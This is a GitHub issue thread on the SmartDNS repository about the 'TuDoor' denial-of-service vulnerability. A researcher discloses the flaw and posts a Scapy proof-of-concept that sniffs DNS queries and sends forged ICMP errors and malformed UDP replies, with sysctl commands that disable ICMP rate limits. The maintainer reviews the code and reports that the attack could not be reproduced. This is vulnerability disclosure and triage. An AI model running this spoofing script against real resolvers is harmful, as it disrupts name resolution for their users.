Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DoS Vulnerabilities of SmartDNS (TuDoor Attack) #1829

Open
idealeer opened this issue Sep 29, 2024 · 6 comments
Open

DoS Vulnerabilities of SmartDNS (TuDoor Attack) #1829

idealeer opened this issue Sep 29, 2024 · 6 comments

Comments

@idealeer
Copy link

Overview

We found a new vulnerability in DNS resolving software, which triggers a resolver to ignore valid responses thus causing DoS (denial of service) for normal resolution. The effects of an exploit would be widespread and highly impactful, as the attacker could just forge a response targeting the source port of vulnerable resolver without the need to guess the correct TXID.

Vulnerability Details

After analyzing the source code of all DNS software, we locate a response preprocessing part that receives incoming packets and parses them before processing valid DNS data.

We find that there is a huge implementation difference between different DNS software on the preprocessing operation. Specially, some software just accept the first-incoming packet and ignore all the other responses for each outgoing query. Unfortunately, they don't check the packet format and TXID. If the source port is matched, these software will accept these packets.

Regarding this sort of processing, we propose a DoS attack to cause vulnerable resolvers to ignore any valid response and terminate current resolution process. We name it TuDoor attack.

General attack steps:

  1. The target resolver sends a query for current resolution.
  2. The attacker forges malformed packets and returns them to the target resolver earlier to legal response.
  3. To hitting the correct source port, the attacker could just brute-force the 65,535 port numbers. By doing so, all queries using any port of these 65,535 ports would fail.
  4. After receiving malformed packets, the target resolver just decides that there is something wrong with the remote server and ignores any follow-up responses.
  5. Thus, current resolution fails and a DoS attack is achieved.

Malformed packets :

There are two type of malformed packets: ICMP packet and bad-format UDP packet. For example:

ICMP packet (the attacker even needn't to impersonate the remote server's IP).

spf_resp = IP(src="8.8.8.8", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
           IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))

Bad-format UDP packet with null or malformed DNS layer payload (the attacker needs to forge the remote server's IP).

spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
# or other packets, please check the poc for details

Note:

To enlarge the impact, the attacker could DoS the response for queries targeting TLD so that all follow-up resolution under the TLD will fail.

Furthermore, to handle the retry and multiple queries on different nameserver IPs, the attacker could send these malformed packets from multiple machines round by round.

Threat Surface

Software Version ICMP packet Bad-format UDP packet
SmartDNS latest Vulnerable Vulnerable

Mitigation

Resolvers should wait for a timeout until receiving a legal DNS response and ignore any malformed packets.

We recommend that all implementations should take a similar way to guarantee receiving a valid response rather than just receiving one, processing one, and ignoring others.

Reference

https://www.computer.org/csdl/proceedings-article/sp/2024/313000a181/1V28Z5fBEVG

@pymumu
Copy link
Owner

pymumu commented Sep 30, 2024

Maybe I don't fully understand how this attack works.
The smartdns code checks the TXID and UDP packet format before returning the results to the client.
The corresponding code is as follows:

smartdns/src/dns_client.c

Lines 1828 to 1870 in 84f217d

len = dns_decode(packet, DNS_PACKSIZE, inpacket, inpacket_len);
if (len != 0) {
char host_name[DNS_MAX_CNAME_LEN];
tlog(TLOG_INFO, "decode failed, packet len = %d, tc = %d, id = %d, from = %s\n", inpacket_len, packet->head.tc,
packet->head.id, get_host_by_addr(host_name, sizeof(host_name), from));
if (dns_save_fail_packet) {
dns_packet_save(dns_save_fail_packet_dir, "client", host_name, inpacket, inpacket_len);
}
return -1;
}
/* not answer, return error */
if (packet->head.qr != DNS_OP_IQUERY) {
tlog(TLOG_DEBUG, "message type error.\n");
return -1;
}
tlog(TLOG_DEBUG,
"qdcount = %d, ancount = %d, nscount = %d, nrcount = %d, len = %d, id = %d, tc = %d, rd = %d, ra = %d, rcode "
"= %d, payloadsize = %d\n",
packet->head.qdcount, packet->head.ancount, packet->head.nscount, packet->head.nrcount, inpacket_len,
packet->head.id, packet->head.tc, packet->head.rd, packet->head.ra, packet->head.rcode,
dns_get_OPT_payload_size(packet));
/* get question */
for (j = 0; j < DNS_RRS_END && domain[0] == '\0'; j++) {
rrs = dns_get_rrs_start(packet, (dns_rr_type)j, &rr_count);
for (i = 0; i < rr_count && rrs; i++, rrs = dns_get_rrs_next(packet, rrs)) {
dns_get_domain(rrs, domain, DNS_MAX_CNAME_LEN, &qtype, &qclass);
tlog(TLOG_DEBUG, "domain: %s qtype: %d qclass: %d\n", domain, qtype, qclass);
break;
}
}
if (dns_get_OPT_payload_size(packet) > 0) {
has_opt = 1;
}
/* get query reference */
query = _dns_client_get_request(domain, qtype, packet->head.id);
if (query == NULL) {
return 0;
}

line 1828 checks udp packet format.
line 1867 checks TXID.

What's missing is a check of the server address.
I wonder if adding server address checking can avoid this problem?

In addition, if there is a cache poisoning attack similar to GFW, I think it is a problem with the UDP DNS protocol. There may be no solution except DNSSEC, DOT, and DOH.

@idealeer
Copy link
Author

idealeer commented Oct 1, 2024

Yeah. SmartDNS does check the txid and src port. Also, it will ignore malformed response packets. But if it receives an icmp error message (only validating the inner 4 tuples while not checking the txid), it will terminate and stop receiving any promising legal response.

@pymumu
Copy link
Owner

pymumu commented Oct 1, 2024

Is there a way to reproduce the problem? Or any suggestions for a fix?

@idealeer
Copy link
Author

i think the simplest way to fix it is to ignore the ICMP error message.

@idealeer
Copy link
Author

PoC is attached.

Run the code, dig @smartdns i.domain (starts with i), if smartdns receives an ICMP error message, it will terminate the current resolution process.

from scapy.all import *
from scapy.layers.dns import DNS, DNSRR, DNSQR
from scapy.layers.inet import IP, UDP, ICMP


IFACE_LAN = "interface"
DNS_SERVER_IP = "x.x.x.x"
PORT_OF_SERVER = "53"
BPF_FILTER = "udp port " + PORT_OF_SERVER + " and ip dst " + DNS_SERVER_IP


# bind
def dns_response(pkt):
    try:
        
        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("1."):
            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            
            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            return

        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
            spf_resp = IP(src="8.8.8.8", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
                       IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            
            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            send(spf_resp, verbose=0, iface=IFACE_LAN)
            return

        spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
        spf_resp /= DNS(id=pkt[DNS].id, qr=1, aa=1, rcode=0,
                        qdcount=1, qd=pkt[DNS].qd,
                        ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata=DNS_SERVER_IP))
        send(spf_resp, verbose=0, iface=IFACE_LAN)


    except Exception as error:
        pass


sniff(filter=BPF_FILTER, prn=dns_response, iface=IFACE_LAN)

# note: to run this script, remember to cancel ICMP pkt generated from the kernel but not block it
# 3 cmds need to run
# sudo sysctl net.ipv4.icmp_msgs_burst=0
# sudo sysctl net.ipv4.icmp_msgs_per_sec=0
# sudo sysctl net.ipv4.icmp_ratelimit=0

@pymumu
Copy link
Owner

pymumu commented Oct 12, 2024

I did some tests and couldn't reproduce the issue.
The python script and smartdns run on the same server, and the icmp kernel parameters are also set.
But it seems that the data sent by the python script cannot be received by smartdns.
Is it filtered out by the kernel, or am I missing something?

upstream server is set to 1.1.1.4
tested kernel:5.10 and 6.1
scapy version: 2.6.0

script log

Ether / IP / UDP / DNS Qry b'i.example.com.'
txid 60656
== send1 packet: IP / ICMP / IP / UDP 192.168.59.2:42106 > 1.1.1.4:domain
.
Sent 1 packets.
== send2 packet: IP / UDP / DNS Ans 1.2.3.4
Destination IP: 192.168.59.2, Destination Port: 42106, Source IP: 1.1.1.4, Source Port: 53
.
Sent 1 packets.

modified script

        if pkt[DNS].qd.qname.decode("utf-8").lower().startswith("i."):
            print(pkt)
            print("txid", pkt[DNS].id)
            spf_resp = IP(src="1.1.1.4", dst=pkt[IP].src) / ICMP(type=3, code=3) / \
                       IP(src=pkt[IP].src, dst=pkt[IP].dst) / UDP(sport=pkt[UDP].sport, dport=int(PORT_OF_SERVER))
            print("== send1 packet:", spf_resp)
            sendp(spf_resp, verbose=1, iface=IFACE_LAN)

            spf_resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / UDP(sport=int(PORT_OF_SERVER), dport=pkt[UDP].sport)
            spf_resp /= DNS(id=pkt[DNS].id, qr=1, opcode=0, aa=1, tc=0, rcode=0,
                            qdcount=1, qd=pkt[DNS].qd,
                            ancount=1, an=DNSRR(rrname=pkt[DNS].qd.qname, type=1, ttl=10, rdata="1.2.3.4"))
            print("== send2 packet:", spf_resp)
            print(f"Destination IP: {spf_resp[IP].dst}, Destination Port: {spf_resp[UDP].dport}, Source IP: {spf_resp[IP].src}, Source Port: {spf_resp[UDP].sport}")
            sendp(spf_resp, verbose=1, iface=IFACE_LAN)
            return

The test script you provided report some error, changing send to sendp has no effect.

scapy/sendrecv.py:479: SyntaxWarning: 'iface' has no effect on L3 I/O send(). For multicast/link-local see https://scapy.readthedocs.io/en/latest/usage.html#multicast
  warnings.warn(
WARNING: MAC address to reach destination not found. Using broadcast.

smartdns log, no packets received

[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7343] recv query packet from 192.168.60.9, len = 54, type = 0
[2024-10-11 23:22:15,474][DEBUG][            dns.c:2237] opt type 10
[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7363] request qdcount = 1, ancount = 0, nscount = 0, nrcount = 0, len = 54, id = 36484, tc = 0, rd = 1, ra = 0, rcode = 0
[2024-10-11 23:22:15,474][DEBUG][     dns_server.c:7386] query i.example.com from 192.168.60.9, qtype: 1, id: 36484, query-num: 1
[2024-10-11 23:22:15,474][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:15,474][ INFO][     dns_client.c:4443] request: i.example.com, qtype: 1, id: 60656, group: default
[2024-10-11 23:22:16,004][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,004][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:16,505][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:16,505][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,105][DEBUG][     dns_client.c:4317] retry query i.example.com, type: 1, id: 60656
[2024-10-11 23:22:17,105][DEBUG][     dns_client.c:4044] send query to server 1.1.1.4:53, type:0
[2024-10-11 23:22:17,604][DEBUG][     dns_client.c:4314] retry query i.example.com, type: 1, id: 60656 failed
[2024-10-11 23:22:17,604][DEBUG][     dns_client.c:1772] result: i.example.com, qtype: 1, has-result: 0, id 60656
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:2635] result: i.example.com, qtype: 1, rtt: -0.1 ms, 0.0.0.0
[2024-10-11 23:22:17,604][DEBUG][     dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 1
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:2411] result: i.example.com, client: 192.168.60.9, qtype: 1, id: 36484, group: default, time: 2130ms
[2024-10-11 23:22:17,604][DEBUG][     dns_server.c:2354] reply i.example.com qtype: 1, rcode: 0, reply: 0
[2024-10-11 23:22:17,604][ INFO][     dns_server.c:1252] result: i.example.com, qtype: 1, rtcode: 2, id: 36484

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants